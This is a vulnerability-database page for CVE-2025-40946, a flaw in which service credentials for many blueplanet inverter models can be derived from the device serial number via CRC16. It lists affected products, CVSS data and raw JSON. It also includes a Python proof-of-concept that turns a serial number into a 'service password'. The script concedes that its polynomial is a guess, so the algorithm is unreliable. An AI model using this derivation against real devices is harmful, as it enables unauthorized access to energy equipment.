Security Vulnerability Report
中文
CVE-2025-40946 CVSS 8.3 HIGH

CVE-2025-40946

Published: 2026-05-12 10:16:43
Last Modified: 2026-05-12 14:19:41

Description

A vulnerability has been identified in blueplanet 100 NX3 M8 (All versions), blueplanet 100 TL3 GEN2 (All versions < V6.1.4.9), blueplanet 105 TL3 (All versions), blueplanet 105 TL3 GEN2 (All versions < V6.1.4.9), blueplanet 110 TL3 (All versions), blueplanet 125 NX3 M11 (All versions), blueplanet 125 TL3 (All versions), blueplanet 125 TL3 GEN2 (All versions < V6.1.4.9), blueplanet 137 TL3 (All versions), blueplanet 150 TL3 (All versions), blueplanet 150 TL3 GEN2 (All versions < V6.1.4.9), blueplanet 155 TL3 (All versions), blueplanet 155 TL3 GEN2 (All versions < V6.1.4.9), blueplanet 165 TL3 (All versions), blueplanet 165 TL3 GEN2 (All versions < V6.1.4.9), blueplanet 25.0 NX3-33.0 NX3 (All versions), blueplanet 3.0 NX3-20.0 NX3 (All versions), blueplanet 3.0 TL3-60.0 TL3 (All versions), blueplanet 3.0-5.0 NX1 (All versions), blueplanet 360 NX3 M6 (All versions), blueplanet 50.0 NX3-60.0 NX3 (All versions), blueplanet 87.0 TL3 (All versions), blueplanet 87.0 TL3 GEN2 (All versions < V6.1.4.9), blueplanet 92.0 TL3 (All versions), blueplanet 92.0 TL3 GEN2 (All versions < V6.1.4.9), blueplanet gridsafe 110 TL3-S (All versions < V3.91), blueplanet gridsafe 137 TL3-S (All versions < V3.91), blueplanet gridsafe 92.0 TL3-S (All versions < V3.91), blueplanet hybrid 10.0 TL3 (All versions), blueplanet hybrid 6.0 NH3-12.0 NH3 (All versions). A CRC16-based algorithm for generating Technical Service credentials could allow an attacker to derive the credentials from the devices serial number and misuse them to gain unauthorized access.

CVSS Details

CVSS Score
8.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H

Configurations (Affected Products)

No configuration data available.

blueplanet 100 NX3 M8 (所有版本)
blueplanet 100 TL3 GEN2 (< V6.1.4.9)
blueplanet 105 TL3 (所有版本)
blueplanet 105 TL3 GEN2 (< V6.1.4.9)
blueplanet 110 TL3 (所有版本)
blueplanet 125 NX3 M11 (所有版本)
blueplanet 125 TL3 (所有版本)
blueplanet 125 TL3 GEN2 (< V6.1.4.9)
blueplanet 137 TL3 (所有版本)
blueplanet 150 TL3 (所有版本)
blueplanet 150 TL3 GEN2 (< V6.1.4.9)
blueplanet 155 TL3 (所有版本)
blueplanet 155 TL3 GEN2 (< V6.1.4.9)
blueplanet 165 TL3 (所有版本)
blueplanet 165 TL3 GEN2 (< V6.1.4.9)
blueplanet 25.0 NX3-33.0 NX3 (所有版本)
blueplanet 3.0 NX3-20.0 NX3 (所有版本)
blueplanet 3.0 TL3-60.0 TL3 (所有版本)
blueplanet 3.0-5.0 NX1 (所有版本)
blueplanet 360 NX3 M6 (所有版本)
blueplanet 50.0 NX3-60.0 NX3 (所有版本)
blueplanet 87.0 TL3 (所有版本)
blueplanet 87.0 TL3 GEN2 (< V6.1.4.9)
blueplanet 92.0 TL3 (所有版本)
blueplanet 92.0 TL3 GEN2 (< V6.1.4.9)
blueplanet gridsafe 110 TL3-S (< V3.91)
blueplanet gridsafe 137 TL3-S (< V3.91)
blueplanet gridsafe 92.0 TL3-S (< V3.91)
blueplanet hybrid 10.0 TL3 (所有版本)
blueplanet hybrid 6.0 NH3-12.0 NH3 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ PoC for CVE-2025-40946: Blueplanet Credential Prediction This script demonstrates how to derive the service password from a device serial number using a CRC16 algorithm. Note: The specific CRC16 polynomial (e.g., 0x1021, 0x8005) may vary by device model. This example uses a common implementation. """ def calculate_crc16(serial_str): """ Calculate CRC16 checksum of the serial string. Adjust polynomial and initial value based on target device firmware. """ data = serial_str.encode('ascii') crc = 0x0000 # Initial value polynomial = 0xA001 # Polynomial for CRC-16-IBM (Modbus), common in industrial gear for byte in data: crc ^= byte for _ in range(8): if crc & 0x0001: crc = (crc >> 1) ^ polynomial else: crc >>= 1 # Format as 4-digit hexadecimal string, padded with zeros return format(crc, '04X') def exploit(target_serial): print(f"[+] Target Serial: {target_serial}") password = calculate_crc16(target_serial) print(f"[+] Derived Service Password: {password}") print(f"[+] Attempting login...") # In a real scenario, the attacker would use this password to connect # via SSH/Telnet/Web interface. return password if __name__ == "__main__": # Example serial number found on device label device_serial = "1234567890" exploit(device_serial)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-40946", "sourceIdentifier": "[email protected]", "published": "2026-05-12T10:16:42.860", "lastModified": "2026-05-12T14:19:41.400", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in blueplanet 100 NX3 M8 (All versions), blueplanet 100 TL3 GEN2 (All versions < V6.1.4.9), blueplanet 105 TL3 (All versions), blueplanet 105 TL3 GEN2 (All versions < V6.1.4.9), blueplanet 110 TL3 (All versions), blueplanet 125 NX3 M11 (All versions), blueplanet 125 TL3 (All versions), blueplanet 125 TL3 GEN2 (All versions < V6.1.4.9), blueplanet 137 TL3 (All versions), blueplanet 150 TL3 (All versions), blueplanet 150 TL3 GEN2 (All versions < V6.1.4.9), blueplanet 155 TL3 (All versions), blueplanet 155 TL3 GEN2 (All versions < V6.1.4.9), blueplanet 165 TL3 (All versions), blueplanet 165 TL3 GEN2 (All versions < V6.1.4.9), blueplanet 25.0 NX3-33.0 NX3 (All versions), blueplanet 3.0 NX3-20.0 NX3 (All versions), blueplanet 3.0 TL3-60.0 TL3 (All versions), blueplanet 3.0-5.0 NX1 (All versions), blueplanet 360 NX3 M6 (All versions), blueplanet 50.0 NX3-60.0 NX3 (All versions), blueplanet 87.0 TL3 (All versions), blueplanet 87.0 TL3 GEN2 (All versions < V6.1.4.9), blueplanet 92.0 TL3 (All versions), blueplanet 92.0 TL3 GEN2 (All versions < V6.1.4.9), blueplanet gridsafe 110 TL3-S (All versions < V3.91), blueplanet gridsafe 137 TL3-S (All versions < V3.91), blueplanet gridsafe 92.0 TL3-S (All versions < V3.91), blueplanet hybrid 10.0 TL3 (All versions), blueplanet hybrid 6.0 NH3-12.0 NH3 (All versions). A CRC16-based algorithm for generating Technical Service credentials could allow an attacker to derive the credentials from the devices serial number and misuse them to gain unauthorized access."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-321"}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-545643.html", "source": "[email protected]"}]}}